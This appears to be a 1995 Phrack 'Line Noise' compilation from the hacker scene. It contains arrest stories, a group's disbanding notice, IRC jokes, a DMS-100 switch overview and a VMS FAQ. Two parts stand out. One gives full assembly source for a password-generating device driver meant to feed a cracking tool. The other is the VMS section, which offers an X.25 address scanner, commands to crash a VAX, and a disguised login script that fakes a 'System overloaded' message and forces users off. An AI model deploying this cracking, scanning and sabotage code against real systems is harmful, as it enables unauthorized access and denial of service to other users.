Next thing he knew the police were asking him if they could `rifle` through his car. He said no. Moments later as he was talking to a Detective and noticed another police officer going through his car. He asked the officer to stop. They did not, in all the police confiscated a few hundred 6.5Mhz crystals (which he resells for roughly $4 a piece) and a large box of 100 dialers. The police told him they would get back to him, and he could have his electronics back if the contents of the bag were legal. In the contents of the seized items was one modified dialer, that a customer returned after modification explaining that it did not work, a broken red box.

The next day Ed `Bernie S.` Cummings was over at a friend`s house working on their computer when eight to ten plain clothed armed men burst into the house and ordered him and his friends to freeze. They cuffed him and took him to a holding cell (what jail?). There he was left without a blanket or jacket to sleep with in the cold cell.

That evening the Secret Service had been called in when someone figured out what the dialers and crystals would do when put together. The United States Secret Service found his home and entered it, while they were questioning him.

The next morning at his arraignment he was finally told of the charges he was being held upon. They were Two misdemeanor Charges of manufacture, Distribution and Sale of devices of Telecommunications Fraud. and Two Unlawful use of a computer charges. His bail was automatically set to $100,000.00 because Ed Cummings refused talk with the police without his attorney present.

The Secret Service presented to the judge a 9 page inventory of what they had found in his home. On that inventory there 14 computers. 2 printers. more Boxes of bios chips for the systems he worked with. Eprom burners which the Federal Agents had labeled "Cellular telephone chip reprogramming adapters" Eproms are used in everything from Automobile computers to personal computers. They also confiscated his toolbox of screw drivers, wire clippers and other computer oriented tools he used for his consulting job.

The Judge dropped the Two unlawful use of a computer charges due to the fact that the evidence was circumstantial and the county had no actual evidence that Ed had ever used the computers in question.

As of 3/27/1995 Ed Cummings is still in Delaware County Prison awaiting his trial. His trial has not yet been scheduled and Ed will most likely not raise the One Hundred Thousand Dollars needed to be released on bail.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Don't believe the hype." ‑ Public Enemy, 1988

This file's purpose is to clear up any misconceptions about the recent situation that has come upon the sociopolitical group known as KoV.

As it stands now, (10:55 PM EST on 1/29/95), NO ONE has been busted for ANYTHING. We have received several tip‑offs from private sources regarding a supposed "FBI investigation" of our group that is purported to be active at this very minute. However, with the exception of a few VERY suspicious incidents and coincidences, there has been NO HARD EVIDENCE thus far about ANYONE getting busted for ANYTHING. So while we are EXTREMELY concerned for the integrity of our innocence, we must stress that nothing has gone down.

Yet.

We have very good reason to believe that a few of those among us are about to be charged with various false accusations by a local university. However the current mental state of the person in charge of this charade is also in question. Therefore it would be logical to assume nothing. The conflicting tip‑offs, rumors, warnings and threats that we have received make it even more difficult to get a clear picture of exactly what is going on. We have heard so many things from so many different sources, both credible and questionable, that we would be hard‑pressed to give an accurate evaluation of the current state of things.

What we can say for sure, however, is that KoV officially died on Monday, January 23, 1995, along with its communications network, KoVNet. This promises to be a great loss to the open‑minded and sociopolitical community as well as the free‑thinkers and activists who supported us so generously. Our reasons for disbanding the group were many, but the foremost was in light of the current situation we are facing.

Consider this last obstacle our final, stalwart stand against the evils of AmeriKKKan government and its various greedy, capitalistic agencies. From the moment of KoV's conception, they have publicly sought to destroy us; to silence our questioning of authority, to oppress our free‑thinking minds, and to close off our intellectual channels of communication. They have even gone so far as to stalk us in public places. 'Tis a shame indeed.

If you have any questions or if you wish to contact us for any reason, you may email sgolem@pcnet.com with the subject or header of "ATTN: KoV". I will try to post further updates of this saga to CiPNet, ThrashNet, QuantumNet, InsanityNet, ScumNet, FizzNet, NukeNet and any others I can. We would appreciate any support that other h/p, art or political groups can lend us. Until then, my friends...

‑Lord Valgamon, Malicious Intent, Onslaught, Leland Gaunt & the rest of KoV

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What happens when you are caught beige boxing.

by Rush 2

Yeah yeah, I'm the only one. But here is a generally interesting description of everything to getting caught to arraignment.

Well about 5 months ago i needed to set up a conference really quick.. it was about 12:00 (never knew there was a 10:00 pm curfew in that area) and went to a 25 pair box at this local strip mall. Well I was out there the box was already open and I was just about to start testing pairs to see which was connected and what wasn't.

All of a sudden, i hear this loud screeching sound of a car coming to a skid from doing about 90mph. I turned and saw that typically dirty squad car about to hit me.. you know the car, mud and dust on the tires and body, coffee and smudge marks all over the windshield. i got on my bike and started to run. Now the thing is I COULD have gotten away.. the pathetic excuse for a cop had run not more than 10 yards after me and decided that I was a threat so he pulled his handgun and yelled. I saw this and thought it would be wiser to stop than get shot.

Within 2 minutes at LEAST 10 squad cars had come to his aide.. i did not know i was less than a half mile from a police station and they were looking for a prowler in the general area. The police did the normal, called me scum, asked me what i was doing, searched me until they were satisfied... than picked me up and threw me in the car... the funny thing was they didn't see my phone until they threw me into the back seat and the cord fell out.. (they never saw the page of notes and 'naughty' material in my pocket though it was about 4 inches thick and sticking out that a blind man could see it.

Well they got me to the station and pried my info out, and called my father... I came up with a good enough story about some made up user who told me to go across the street and plug in.. then I was told I would be dealt with in the next week... I did not receive anything for three and a half months.

Once the time came for the arraignment (for a juvenile they called it an intake). I got to go to the police station, sit for about 3 hours (as if i thought they would be on time) until I waited for my probation officer. Finally she got there and we proceeded to talk. She explained all of the charges and my lawyer (interesting guy) laughed, I was being charged with prowling (could be disputed I was on a public sidewalk and there in that strip mall is a 24 hr laundry mat), loitering (again that could be disputed), and attempted theft of services (though I NEVER even plugged in).

After this was all said i spent the next hour talking with the lady in private. I immediately found she had an interest in computers and was having a problem with her home pc. So I easily changed the topic to my fascination in computers and solved her problem with her computer, and answered at least 50 questions about them. In the last 10‑15 minutes of the conversation all i could get from her were statements about how impressed and how intrigued she was with me. She ended up giving me a look (that was hard to judge but i am staying away from this chick) that was either confusion or attraction, slipped me a card with her home phone number and name and called back in my lawyer and parents.

Once they got back in, all that she really said was I was a great boy, that she would like to see me do more with my time besides computers, and that she was taking my sentence of 12 months formal probation with 300 hours of community service to 3 months of informal probation with 30 hours of community service. That and she said bell was asking her what to do and she would tell them that it was a non issue since I did not plug in and even if I had it would not be their concern unless I had plugged in to the telco access part of the network interface.

Well I have yet to receive official record of having to perform the community service or the probation but I called my probation officer yesterday and said she wasn't putting the community service into the punishment and it has been an equivalent amount of time to just say that since I haven't gotten in trouble since she will count the probation as already served. Luckily she based all other needs of me on the report from a teacher, and with my luck she picked the one teacher, my computers teacher, that no matter what I did or said would lie and say I didn't.

Thanks to erikb for publishing this, and greets to CXrank, paradox, dark phiber, the fat cop (who spilled his coffee and box of donuts coming after me) that made this all possible, and to everyone else.

‑rush 2 http://www‑bprc.mps.ohio‑state.edu/cgi‑bin/hpp/Rush_2.html

Look for My site, unforeseen danger soon to be on a 28.8 slip and by the end of the summer on a 500k slip connect.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Something found on IRC]

Danny Partridge Emmanuel Goldstein

(AKA Danny Bonaduce: (AKA Eric Corley:

a child star from the child‑like publisher

"The Partridge Family" of 26oo magazine.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hosts a boring local Hosts a boring local

radio program. radio program.

Quasi Celebrity Quasi Celebrity

Status among Status among

70's freaks telephone phreaks

Periods of Heavy Periods of Heavy

Drug Usage Drug Usage

Involved in Sex Involved in Sex

Scandal with Scandal with

another man another man

Last name is Friends with Phiber

"Bonaduce" Optik whose first handle was "Il Duce"

Supplements incoming Supplements incoming

by doing desperate by doing desperate

local talk shows local talk shows

whenever he can. whenever he can.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Top 10 #hack fights that would be the coolest to see.

(And no, Ophie's not in it twice just because she's a girl...)

========================================

10.) The D.C. Convention Center is Proud to Present: Hot‑Oil Wrestling featuring KL & TK.

9.) Ludichrist vs. GFM, to be resolved at the next convention, or, uh, the one after that... or, uh...

8.) C‑Curve and Elite Entity, "Who's who?"

7.) Ben Camp vs. Ben Sherman, "Particles of Novocain Everywhere." (Or: "I'm totally numb, let me hug you!!!")

6.) Dan Farmer and Pete Shipley: "Whips vs. Chains"

5.) Grayarea vs. Netcom "No, *I* want root..."

4.) WWF Wrestling with Len and |al|.

3.) Ophie vs. Voyager, "Night of the Living Dead."

2.) Okinawa vs. Gail Thackery, "The Winner Gets Okinawa's Testicle." and the number one #hack fight is

1.) Ophie vs. all the #hack guys, "10 Bucks on the Girl"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit

++++++++++++++++++++++++++++++++++++++++

The device driver code listed below provides a data stream of passwords. The device driver approach was used to speed up the process

of cracking passwords on an incremental basis. The usual approach was to generate the passwords to a file, then reading the file, etc..the device driver approach circumvents these file storage problems, and others, such as having enough free disk space and delays from disk i/o.

This driver operates completely in memory (approx. 0.5Kb)

How practical is this?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This program would be very useful if you think you may know what strategy the user/admin uses for picking out their passwords. Without eliciting some sort of a strategy, forget it‑‑ unless your desperate enough!!

A "strategy" could consist of any of these possible advantages‑‑

1) default passwords (ie: SIN, student #, birth date, phone number...) 2) the mutation of a lUSERs' known password from another system

3) viewing the mark typing in most of their password with a couple of unseen characters

4) etc...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With the sample device driver provided, passwords starting at 'aaaaaaa' and ending with 'zzzzzzz' will be generated. The length of the password string can be modified by changing the length of the password string itself (that is, the variable "number"). The range of characters in the passwords can also be changed by modifying the following two lines:

;hackdrv.sys

;.

;.

;

for ending character‑‑

cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range

...and for starting character

cmp byte ptr [number+si],'a' ;starting char. in range

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

for instance, if you wished to generate numbers from "0000000" to "9999999"

‑change the ending character to:

cmp byte ptr [number+si],'9'+1

‑starting character to:

cmp byte ptr [number+si],'0'

and "number" variable from 'aaaaaa' to '0000000' and then recompile..

‑‑‑‑‑

..or in the third case, if u had observed a lUSER type in most of their password, you may want to rewrite the code to limit the search. IE: limit the keys to a certain quadrant of the keyboard. Modify the code starting at "reiterate:" and ending at "inc_num endp" for this.

========================================

/'nuff of this!/ How do I get things working?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Compile the device driver "hackdrv.sys", and the second program, "modpwd.asm". Then specify the device driver inside config.sys (ie: "c:\hackdrv.sys"). The code below was compiled with the a86 compiler, v3.03. Some modifications might be needed to work with other compilers.

To use it in prgs like crackerjack, type in the following on the command line:

c:\>jack ‑pwfile:<your password file here!> ‑word:hackpwd

‑‑‑‑‑‑

If you had stopped a cracker program (eg: crackerjack) and want to pick up from where you left off, run the program "modpwd.com".

This program can change HACKDRVs password through‑

a) a command line argument (ie: "modpwd aabbbbe")

b) executing the program with no parameters (this method also displays the current password in memory)

Happy Hacking,

Uncle Armpit

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;Program HACKDRV.SYS

;

org 0h

next_dev dd ‑1

attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy

interrupt dw dev_int

dev_name db 'HACKPWD '

countr dw offset number

number db 'aaaaaa',0ah ;<‑‑‑‑six characters, lower case numsize equ $‑number ‑ 2

afternum:

;working space for device driver

rh_ofs dw ?

rh_seg dw ?

dev_strategy: ;strategy routine

mov cs:rh_seg,es

mov cs:rh_ofs,bx

retf

dev_int: ;interrupt routine

pushf

push ds

push es

push ax

push bx

push cx

push dx

push di

push si

cld

push cs

pop ds

mov bx,cs:rh_seg

mov es,bx

mov bx,cs:rh_ofs

mov al,es:[bx]+2

rol al,1

mov di,offset cmdtab

xor ah,ah

add di,ax

jmp word ptr[di]

cmdtab: ;command table

dw init ;0

dw exit3 ;1

dw exit3 ;2

dw ioctl_read ;3

dw do_read ;4

dw exit3 ;5

dw exit3 ;6

dw exit3 ;7

dw exit3 ;8

dw exit3 ;9

dw exit3 ;10

dw exit3 ;11

dw ioctl_write ;12

dw exit3 ;13

dw 5 dup (offset exit3)

ioctl_read:

push es

push bx

mov si,es:[bx+10h]

mov di,es:[bx+0eh]

mov es,si

push cs

pop ds

mov si,offset number

xor cx,cx

get_char:

lodsb

stosb

inc cl

cmp al,0ah

jz ioctl_rend

jmp get_char

ioctl_rend:

pop bx

pop es

mov es:[bx+012h],cx

mov cs:countr,offset number

jmp exit2

ioctl_write:

push es

push bx

mov si,es:[bx+010h]

mov ds,si

mov si,es:[bx+0eh]

mov cx,numsize+1 ;es:[bx+012h]

push cs

pop es

mov di,offset number

repe movsb

pop es

pop bx

mov cs:countr,offset number

jmp exit2

do_read:

push es

push bx

push cs

pop ds

mov si,[countr]

inc si ;word ptr [countr]

cmp si,offset afternum

jnz is_okay

mov si,offset number

call inc_num

is_okay:

mov [countr],si

mov di,es:[bx]+0eh

mov ax,es:[bx]+010h

mov cx, es:[bx]+012h

jcxz clean_up

mov es,ax

repe movsb

clean_up:

pop bx

pop es

jmp exit2

exit3: mov es:word ptr 3[bx],08103h

jmp exit1

exit2:

mov es:word ptr 3[bx],0100h

exit1:

pop si

pop di

pop dx

pop cx

pop bx

pop ax

pop es

pop ds

popf

retf

exit:

inc_num proc near

push si

mov si,numsize

reiterate:

inc byte ptr [number+si]

cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit

mov byte ptr [number+si],'a' ;starting char. in range

dec si

cmp si,‑1

jnz reiterate

mov byte ptr [number],01ah ;send EOF

_exit:

pop si

ret

inc_num endp

at_eof: ; the non‑resident code starts here

initial proc near

push es

push cs

pop ds

push cs

pop es

mov si,offset number

mov di,offset tmpnum

cld

_again:

lodsb

cmp al,0ah

jz _nomorechars

stosb

jmp _again

_nomorechars:

mov si,offset msgend

mov cx,4

repe movsb

mov ah,09 ;print welcome message

mov dx,offset msg1

int 21h

pop es

ret

initial endp

init: call initial

mov ax,offset at_eof

mov es:[bx]+0eh,ax

push cs

pop ax

mov es:[bx]+010h,ax

mov cs:word ptr cmdtab,offset exit3

jmp exit2

msg1 db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh

db "Starting at word ["

tmpnum db 10 dup (?)

msgend db "]",0a,0d,'$'

;END hackdrv.sys

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;PROGRAM modpwd.asm

;

org 0100h

mov ax,03d02h

xor cx,cx

mov dx,offset devname

int 21h

jnc drvr_found

mov ah,09

mov dx,offset no_drvr

int 21h

jmp error_pass

drvr_found:

mov bx,ax

mov ax,04402h

mov cx,20 ;read 20 characters

mov dx,offset databuffr

int 21h

mov pass_len,al

dec al

mov ah,al

and al,0fh

mov cl,4

shr ah,cl

add ax,03030h

cmp al,'9'

jbe inrange

add al,7

inrange:

cmp ah,'9'

jbe inrange1

add ah,7

inrange1:

mov byte ptr [num_chr],ah

mov byte ptr [num_chr+1],al

cld

mov di,offset databuffr‑1

xor cx,cx

mov cl,pass_len

add di,cx

mov si,offset pass_end

mov cx,stringsz

repe movsb

;check for information in command line

;else‑‑> prompt for user input

mov al,pass_len

or byte ptr [0080h],0

jz req_input

mov cl,[0080h]

dec cl

mov [0081h],cl

mov si,0081h

mov di,offset newpass

mov cx,20

repe movsb

jmp vrfy_info

req_input:

mov ah,09

mov dx,offset cur_pass

int 21h

mov ah,0a

mov dx,offset pass_len

int 21h

vrfy_info:

mov ax,word ptr [pass_len]

cmp ah,0

jz error_pass

dec al

cmp ah,al

jnz error_len

;change the current password

xor cx,cx

mov cl,al

mov ah,044h

mov al,03

mov dx,offset newpass+1

int 21h

jnc success_pass

error_len:

mov ah,09

mov dx,offset errormsg

int 21h

error_pass:

mov ax,04c01h ;abnormal termination

int 21h

success_pass:

mov ax,04c00h

int 21h

devhandle dw ?

cur_pass db 'Current password is ['

databuffr db 20 dup (?)

pass_end db '] ;'

num_chr db ' '

db ' characters',0ah,0dh,0ah,0dh

prompt db 'New word: ','$'

stringsz equ $ ‑ pass_end

pass_len db 00

newpass db 20 dup (?)

errormsg db 'error changing password!',0ah,0dh,'$'

no_drvr db 'Error: '

devname db "HACKPWD ",00

db 'device driver not loaded!',0ah,0dh,07,'$'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ Frequently & Rarely asked questions about VMS ‑‑ part one by Opticon the Disassembled ‑ UPi

[1]

" I have a kropotkin.hlp file. What could I possibly do with it ? "

$ library /insert /help sys$help:helplib.hlb kropotkin.hlp

.

.

.

$ help kropotkin

[2]

" I have a bakunin.tlb file. What to do with it ? "

$ library /extract=(*) bakunin.tlb

.

.

.

$ dir

[3]

" I would like to have a look at prunton.dat. "

$ dump [/block=(count:x)] prunton.dat

Where "x" is the number of blocks DUMP will display.

[4]

" How can I use an external editor with mail ? "

$ mail :== mail /edit=(send,reply=extract,forward)

[5]

" How a HELP file is organized ? "

$ create example.hlp

1 EXAMPLE

THIS IS AN EXAMPLE.

2 MORE_EXAMPLES

MORE EXAMPLES.

3 EVEN_MORE_EXAMPLES

EVEN MORE EXAMPLES.

<CTRL‑Z>

[6]

" How can I have a look at queues ? "

$ show queue smtp /all/full

or

$ show queue /batch/all/full

or

$ show queue /all/full

[7]

" My mail is holded, for some reason, in the SMTP queue... "

Either

$ delete /entry=XXX

or

$ set entry XXX /release

in order to force VMS to release it right away.

[8]

" How do I have a look at DTE and circuits available. "

$ mc ncp show known dte

and

$ mc ncp show known circuits

You may also may find of interest:

$ mc ncp show known networks

$ mc ncp show known lines

$ mc ncp show known destinations

[9]

" I need a NUA scanner for VMS. "

$ OPEN/READ VALUES SCAN.VAL

$ READ VALUES PRE

$ READ VALUES DTE

$ READ VALUES END

$ CLOSE VALUES

$ LOG = "SCAN.LIS"

$ TMP = "SCAN.TMP"

$ OPEN/WRITE FILE 'LOG

$ WRITE FILE "PREFIX:",PRE

$ WRITE FILE "START :",DTE

$ WRITE FILE "LAST :",END

$LOOP:

$ ON ERROR THEN GOTO OPEN

$ SPAWN/NOWAIT/OUTPUT='TMP' SET HOST/X29 'PRE''DTE'

$ WAIT 00:00:06

$ SPAWN_NAME = F$GETJPI("","USERNAME")

$ SPAWN_NAME = F$EXTRACT(0,F$LOC(" ",SPAWN_NAME),SPAWN_NAME) + "_" $ CONTEXT = ""

$FIND_PROC:

$ PID = F$PID(CONTEXT)

$ IF PID .EQS. "" THEN GOTO OPEN

$ IF F$LOC(SPAWN_NAME,F$GETJPI(PID,"PRCNAM")) .EQ. 0 THEN STOP/ID='PID $ GOTO FIND_PROC

$OPEN:

$ ON ERROR THEN GOTO OPEN

$ OPEN/READ PAD 'TMP

$ MSSG = " Process stopped"

$ ON ERROR THEN GOTO CLOSE

$ READ PAD LINE

$ IF F$LOC("call clear",LINE) .LT. F$LEN(LINE) THEN READ PAD LINE $ MSSG = F$EXTRACT(F$LOC(",",LINE)+1,80,LINE)

$CLOSE:

$ CLOSE PAD

$ DELETE 'TMP';*

$ IF F$LOC("obtain",MSSG).NE.F$LENGTH(MSSG) THEN GOTO NOCONN

$ WRITE FILE PRE,DTE,MSSG

$NOCONN:

$ DTE = DTE + 1

$ IF DTE .LE. END THEN GOTO LOOP

$ CLOSE FILE

( I don't have a clue by whom the code was written. )

then

$ create scan.val

prefix

starting_NUA

ending_NUA

<CTRL‑Z>

$ submit /noprint scan.com

.

.

.

$ search scan.lis "call connected"

[10]

" How do I crash a VAX !? "

$ set default sys$system

$ @shutdown

or

$ set default sys$system

$ run opccrash

[11]

" I have a dostogiefski.cld file; what do I do with it ? "

$ set command dostogiefski.cld

[12]

" Can I send messages to interactive processes ? "

$ reply [/user=username] [/bell] [/id=xxxx] " Carlos Marigella "

[13]

" How can I prevent someone from phoning me all the time ? "

$ set broadcast=(nophone)

[14]

" Can I postpone/disable interactive logins ? "

$ set logins /interactive=0

$ set logins /interactive

will display current value.

Under the same `logic' :

$ create innocent_filename.com

$ set nocontrol

$ context = ""

$ pid = F$PID(context)

$ user_name = F$GETJPI(pid,"username")

$ wait 00:01:00.00

$ write sys$output ""

$ write sys$output " System overloaded; please try again later "

$ write sys$output " Logging out process ''pid', of user ''user_name' " $ write sys$output ""

$ logout /full

Add either to sys$system:sylogin.com or sys$login:login.com the following: " $ @innocent_filename.com ".

[15]

" How can I modify the welcome file ? Where is it held ? "

$ set default sys$system

$ edit welcome.txt

[16]

" I am editing a huge text file. How can I reach the end of it ? "

at the editor's prompt type:

*find end

or

*find "search string"

[17]

" How can I be sure than noone is watching me from a hidden process ? "

$ show system /process

VAX/VMS V5.5‑2 on node STIRNER 30‑MAR‑1937 02:10:41.94 Uptime 2 03:05:25 Pid Process Name State Pri I/O CPU Page flts Ph.Mem .

.

.

00000114 SYMBIONT_4 HIB 5 290 0 00:00:19.05 1650 47 00000117 SMTP_SYMBIONT HIB 4 33398 0 00:16:49.67 246104 426 00000118 SYMBIONT_6 HIB 4 47868 0 00:05:09.01 296 121 00001255 SYMBIONT_0001 CUR 13 15 64293 0 00:05:08.12 1982 248

$ show system /full

VAX/VMS V5.5‑2 on node STIRNER 30‑MAR‑1937 02:10:59.64 Uptime 2 03:05:43 Pid Process Name State Pri I/O CPU Page flts Ph.Mem .

.

.

00000114 SYMBIONT_4 HIB 5 290 0 00:00:19.05 1650 47 [1,4]

00000117 SMTP_SYMBIONT LEF 5 33407 0 00:16:49.78 246116 502 [1,4]

00000118 SYMBIONT_6 HIB 5 47872 0 00:05:09.03 296 121 [1,4]

00001255 SYMBIONT_0001 CUR 13 15 64348 0 00:05:09.60 2063 268 [1,4]

$

See the difference between system's SYMBIONT processes ( i.e. SYMBIONT_4, SYMBIONT_6, SMTP_SYMBIONT ) and the one created by using a `stealth' program ( SYMBIONT_0001 ); the names and the User Identification Codes may vary, but state, priority, physical memory used, page faults, input/output and Process IDentification numbers, can reveal, in combination, such a nastyness.

Afterwards you may " show process /id=xxxx /continuous ",

or " stop /id=xxxx ".

[18]

" Can I view the CPU usage of each process ? "

$ monitor processes /topcpu

will display a bar‑chart of this kind.

[19]

Run the following .COM file and it will display information you'd possibly need on an account and/or node. It uses simple lexical functions.

$ output :== write sys$output

$ output ""

$ node_id = F$CSID(context)

$ nodename = F$GETSYI("nodename",,node_id)

$ if F$GETSYI("cluster_member") .EQS. "TRUE"

$ then output " ''nodename' is a member of a cluster. "

$ else output " ''nodename' is not a member of a cluster. "

$ context = ""

$ username = F$GETJPI("","username")

$ output " Username : ''username' "

$ group = F$GETJPI("","grp")

$ output " Group : ''group' "

$ uic = F$USER()

$ output " User Identification Code : ''uic' "

$ pid = F$PID(context)

$ output " Process IDentification : ''pid' "

$ process = F$PROCESS()

$ output " Process Name : ''process' "

$ terminal = F$GETJPI("","terminal")

$ output " Terminal Name : ''terminal' "

$ priority = F$GETJPI("","authpri")

$ output " Authorized Priority : ''priority' "

$ maxjobs = F$GETJPI("","maxjobs")

$ output " Maximum Number of Processes Allowed : ''maxjobs' "

$ authpriv = F$GETJPI("","authpriv")

$ output " Authorized Privileges : ''authpriv' "

$ curpriv = F$GETJPI("","curpriv")

$ output " Current Privileges : ''curpriv' "

$ directory = F$DIRECTORY()

$ output " Directory : ''directory' "

$ protection = F$ENVIRONMENT("protection")

$ output " Protection : ''protection' "

$ boottime = F$GETSYI("boottime")

$ output " Boot Time : ''boottime' "

$ time = F$TIME()

$ output " Current Time : ''time' "

$ version = F$GETSYI("version")

$ output " VMS version : ''version' "

$ output ""

You may :

$ library /extract=(lexicals) /output=lexicals.hlp sys$help:helplib.hlb

and then transfer lexicals.hlp.

[20]

" How can I view/modify my disk quota limit ? "

DiskQuota was a standalone utility in versions prior to five; It is now a subset of the System Management utility, and thus you should :

$ set def sys$system

$ run sysman

SYSMAN> diskquota show /device=dua1: [1,1]

%SYSMAN‑I‑QUOTA, disk quota statistics on device DUA1: ‑‑

Node

UIC Usage Permanent Quota Overdraft Limit [1,1] 123456 1500000 100

SYSMAN> diskquota modify /device=dua1: [1,1] /permquota=654321 /overdraft=1000

[END]

Post Scriptum

Some operations require privileges.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Compaq CEO blunders on TV

Compaq CEO Eckard Pfeiffer last week visited The Netherlands to do some pr work. During a television interview for NOVA, a well known news show that aired last Friday, Pfeiffer claimed that pc's were easy to use, and could be used by virtually anyone. So, the reporter asked him to switch the tv channel on a Presario that was next to Pfeiffer that ran a Windows‑based TV tuner. The result was Pfeifer frantically clicking on several menu bars, but instead of switching channels, he exited the program altogether. To make things worse, the reporter next asked him to start up a word processor. Again, Pfeiffer, clicked his way around the desktop, but couldn't find nor start the program. Finally, he was asked to start up a game. You saw Pfeifer (now in deep trouble) clicking on all the tabs of the "easy to use" tab‑works interface that is included on all Presario's, looking for games, while muttering "Were are ze games? I can't find ze games on zis machine!!!", his accent becoming increasingly more German then before. It was almost like Dr. Strangelove. The last shot is of a Compaq tech support guy, rushing in to help him out.... So much for ease of use....

Voorburgwal 129, 1012 EP

Amsterdam, The Netherlands).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, I'm going to assume that you already know a little bit about what it is you're reading. The DMS100/IBN (integrated business network) is composed of mainly electronic business sets, phones, data units, and attendant consoles and units, all physically at the customers place of business. While the digital switching software and support hardware is located at the Telco. Together, in tandem they work to give the customer one of the best combinations of features and benefits. The DMS‑100 combines voice AND data in one business comunications package. One of the many advantages is it offers the use with *any* sized business with up to 30,000 lines. The IBN system controls most operations, diagnoses problems, and also has the ability to do limited repairs on itself. Being modular, it can meet the needs at hand, and have the ability for new features, as time goes by, while still maintaining a cost‑effective environment. Another advantage is that is uses a central attendant where and when needed. Along with Call Routing, or CDR, to control and restrict Long Distnace Calling, and network management. The IBN gives the user hassle free operation. Northern Telcom's DMS‑100 switches, which by the way are digital, are frequently backed‑up by their *higher trained* personnel, which isnt saying much. Some other features are: Automatic Routing Selection, or ARS, which routes the long distance calls, if they are even allowed, over the most economical (right) route available. Station Message Detail Recording, or SMDR, which basically does just what its name states, records long distance charges, including but not limited to, originating number, time and length of call, authorization code, and others... Yet another capability is the Direct Inward System Access (DISA), which gives the personnel the ability to use the system to place long distance calls cheaply, even from outside the company (sounds like a PBX a bit doesn't it?).

System Features and Benefits: There are 6 Call Waiting Lamp Loop Keys, each with its associated source AND destination lamp to signify the status of both the calling and the called party status. The Second feature is Alpha Numeric Display Multiple Directory Number Feature Keys, up to 42 of them, which can be used for a Paging System, or speed dialing, and things along those lines. A third feature is the release Source/Release Destination Console, which features access to paging. Other features which mainly are unimportant I will list here, they are: Call Identifier Exclude Source/Exclude Destination. Remote Console Call Destination. Signal Source.Signal Destination. Call Holding. Call Detail Entry. Remote Console Call Selection. Console Display. Camp‑on Automatic Recall Conference. A 6 port 2 way splitting non‑delayed operation. Busy Verification of Lines. Manual and Automatic Hold. Multiple Console OPeration. Busy verification of trunks. Switched Loop Operation. Trunk Group Busy Indication. Uniform Call distribution form queue. Multiple listed directory numbers. Control of trunk group access. Secrecy. Night Service. Serial call. Speed Calling. Lockout. Delayed Operation. Position Busy. Interposition Calling. THrough Call Pickup. RIng Again. Multiple Directory Numbers. Intercom. Speed Call. Call Transfer/Conference. On‑Hook Dialing. Additional Programmable Features include automatic hold. Listem‑on hold. Multiple Appearance Directory Numbers, or MADN. Single Call Arrangement. Multiple Call Arrangement. Privacy Release. Tone Ringing with Volume Control. Call Waiting. Stored Number Redial. Private Business Line. And Finally a 32 character alphanumeric data unit. The DMS100/IBN can be used as a "standalone" or can be attached to the business set or other phone type unit. It has the ability to transmit over a two wire loop, at speeds of up to 56 kb per second, using a proprietary time compression multiplexing technology. The DMS100 is also available in different models to suit existing terminal capacities. It also provides integrated voice/data, that right data, communications. They, the phone company, and data unit, can operate together, simultaniously, or even independant of one another. Being fully digitized, it was one if the first switches to eliminate the use of those dinosaur analog modems (for which i still have a few if anyone wants to buy em off me or give me shipping money and ill send em to ya free). Well thats it for now. This should give you a good understanding of the capabilities of one of the many switches in use today. In fact, although outdated somewhat, my telco, citizens utilities, and one in stockton from what i just found out, is still using this switch (poor me in elk grove, ca eh?)

which makes phreaking quite an easy task, not that it was really ever hard but anything to make it easier help. ANyway, if you have any comments/flames/general bullshit, mail it to either jmatrix@mindvox.phantom.com or capthook@sekurity.com the latter being a last resort email address.

ciao

Captain Hook

Line Noise

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 4 of 22

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART II

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The official Legion of Doom t‑shirts are stll available!!!

